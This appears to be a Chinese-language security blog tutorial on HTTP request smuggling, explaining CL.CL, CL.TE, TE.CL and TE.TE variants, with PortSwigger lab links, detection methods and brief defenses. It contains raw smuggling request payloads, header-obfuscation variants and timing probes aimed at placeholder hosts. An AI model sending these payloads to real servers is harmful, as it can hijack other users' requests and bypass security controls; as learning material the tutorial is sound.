2020-03-14 | Web安全 | UNLOCK

HTTP请求走私攻击

HTTP请求走私介绍

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。 它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

当今的Web应用程序经常在用户和最终的应用程序逻辑之间使用HTTP服务器链。 用户将请求发送到前端服务器(有时称为负载平衡器CDN)或反向代理),并且该服务器将请求转发到一个或多个后端服务器。

当前端服务器将HTTP请求转发到后端服务器时,它通常会通过同一后端网络连接发送多个请求一个连接,多个请求)因为这样做效率更高且性能更高。 该协议非常简单:HTTP请求一个接一个地发送,接收服务器解析HTTP请求标头以确定一个请求在哪里结束下一个请求在哪里开始

前端和后端系统就请求之间的边界达成一致。否则,攻击者可能会发送一个模棱两可的请求,该请求被前端和后端系统以不同的方式解释(攻击者使得前端请求的一部分被后端解释执行为下个请求的开始,干扰后端应用程序处理该请求的方式):

为什么会造成HTTP请求走私

大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置Content-Length头和Transfer-Encoding头。

  • Content-Length
1
2
3
4
5
6
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
  • Transfer-Encoding

使用Transfer-Encoding头指定请求体正文使用分块编码。 这意味着消息正文包含一个或多个数据块。 每个块均包含以字节为单位的块大小(以十六进制表示),其后是换行符,然后是块内容。 该消息以大小为零的块终止。

1
2
3
4
5
6
7
8
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

Burp Suite会自动解压缩分块的编码,以使在请求中更易于查看和编辑。
浏览器通常不会在请求中使用分块编码,通常只能在服务器响应中看到。

由于HTTP规范提供了两种不同的方法来指定HTTP消息的长度,因此单个消息可能会同时使用这两种方法,从而使它们彼此冲突。 HTTP规范试图通过指出如果同时存在Content-Length标头和Transfer-Encoding标头来防止此问题,则应该忽略Content-Length标头。当仅使用一台服务器时,这足以避免歧义,但是当将两个或多个服务器链接在一起时,这并不能避免歧义。在这种情况下,可能由于两个原因而出现问题:

某些服务器在请求中不支持Transfer-Encoding标头。
如果以某种方式混淆了标头,则某些确实支持Transfer-Encoding标头的服务器将不被处理。

如果前端服务器和后端服务器在(可能是混淆的)Transfer-Encoding标头的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞

如何实施请求走私攻击

请求走私攻击涉及将Content-Length标头和Transfer-Encoding标头都放置在单个HTTP请求中,并对其进行处理,以便前端服务器和后端服务器以不同的方式处理请求。 完成此操作的确切方式取决于两个服务器的行为:

  • CL.CL:后端服务器使用Content-Length标头,后端服务器使用Content-Length标头
  • CL.TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer-Encoding标头。
  • TE.CL:前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头。
  • TE.TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。

CL.CL

规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

此时恶意攻击者可以构造一个特殊的请求

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。

1
2
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。

这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是

1
2
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。

还有类似的:前端WAF服务器看到两个CL头,响应400,但是数据依然会传给后端,失去了WAF功能。

CL.TE

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器处理Content-Length标头,并确定请求主体的长度为13个字节,直至SMUGGLED的末尾。 该请求被转发到后端服务器。(回车换行是两个字符CR LF

后端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。 它处理第一个块,该块被声明为零长度,因此被视为终止请求。 接下来的字节SMUGGLED未经处理,后端服务器会将其视为序列中下一个请求的开始

实验

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

实验描述:

本实验涉及前端服务器和后端服务器,并且前端服务器不支持分块编码前端服务器拒绝使用GET或POST方法之外的请求
要解决此问题,请向后端服务器走私一个请求,以便后端服务器处理的下一个请求似乎使用GPOST方法。

  • 请求为POST
  • 前端不支持TECLTE同时存在时,后端优先CL
  • 发送两次请求

TE.CL

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0 # \r\n
# \r\n
# 光标在此处

要使用Burp Repeater发送此请求,您首先需要转到Repeater菜单,并确保未选中 “Update Content-Length”选项
需要在结尾的0后面加上尾随序列\ r \ n \ r \ n

前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。 它处理第一个块,声明为8个字节长,直到SMUGGLED之后的行的开始。 它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。 该请求被转发到后端服务器。

后端服务器处理Content-Length标头,并确定请求正文的长度为3个字节,直到8之后的行的开头(8 \r \n)。其余字节(从SMUGGLED开始)一直未处理,后端服务器会将其视为序列中下一个请求的开始

实验

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

实验描述

本实验涉及前端服务器和后端服务器,后端服务器不支持分块编码前端服务器拒绝使用GET或POST方法之外的请求
要解决此问题,请向后端服务器走私一个请求,以便后端服务器处理的下一个请求似乎使用GPOST方法。

首先关闭repeater的“Update Content-Length”选项

TE.TE 混淆 TE 头

前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

要发现TE.TE漏洞,必须找到Transfer-Encoding标头的某些变体,以便只有前端服务器或后端服务器之一对其进行处理,而另一服务器将其忽略。

这取决于是否诱使前端服务器或后端服务器不处理混淆的Transfer-Encoding标头,其余的攻击将采用与CL.TETE.CL漏洞相同的形式已经描述过了。

实验

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

实验描述

本实验涉及一个前端和后端服务器,两个服务器以不同的方式处理重复的HTTP请求标头前端服务器拒绝使用GET或POST方法之外的请求
要解决此问题,请向后端服务器走私一个请求,以便后端服务器处理的下一个请求似乎使用GPOST方法。

  • TE.CL:后端服务器被混淆,不处理Transfer-Encoding,使用CL

如何防御请求走私攻击

  • 禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
  • 使用HTTP / 2进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。

发现请求走私漏洞

利用延时发现HTTP请求走私漏洞

检测HTTP请求走私漏洞的最普遍有效方法是发送请求,如果存在漏洞,该请求将导致应用程序响应中的时间延迟Burp Scanner使用此技术来自动检测请求走私漏洞。

利用延时发现CL.TE类型的漏洞

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
XX

由于前端服务器使用Content-Length标头,因此它将仅转发此请求的一部分,省略XX。后端服务器使用Transfer-Encoding标头,处理第一个块,然后等待下一个块到达。 这将导致明显的时间延迟。

利用延时发现TE.CL类型的漏洞

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

XX

由于前端服务器使用Transfer-Encoding标头,因此它将只转发此请求的一部分,省略XX。后端服务器使用Content-Length标头,期望消息正文中有更多内容,并等待 剩余内容到达。 这将导致明显的时间延迟。

如果应用程序容易受到该漏洞的CL.TE变体的攻击,则基于时间的TE.CL漏洞测试可能会破坏其他应用程序用户。 因此,要最大程度地减少中断,应该首先使用CL.TE测试,只有在第一个测试失败的情况下才继续进行TE.CL测试。

利用不同的响应包确认HTTP请求走私漏洞

当检测到可能的请求走私漏洞时,可以利用该漏洞触发应用程序响应内容的差异来获取该漏洞的进一步证据。

正常请求:

1
2
3
4
5
6
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

CL.TE

1
2
3
4
5
6
7
8
9
10
11
12
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则后端服务器会将此请求的最后两行视为属于接收到的下一个请求。 这将导致随后的“正常”请求如下所示:

1
2
3
4
5
6
7
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于此请求现在包含无效的URL,因此服务器将以状态代码404进行响应,指示攻击请求确实确实在干扰它。

实验

https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses

连续两次请求:

第一次请求:

第二次请求为404:

TE.CL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果攻击成功,则后端服务器将从GET / 404以后的所有内容都视为属于收到的下一个请求。 这将导致随后的“正常”请求如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

实验

https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses

连续两次请求:

第一次请求:

第二次请求为404:

Next to Learn:


参考资料:

协议层的攻击——HTTP请求走私

HTTP request smuggling

评论加载中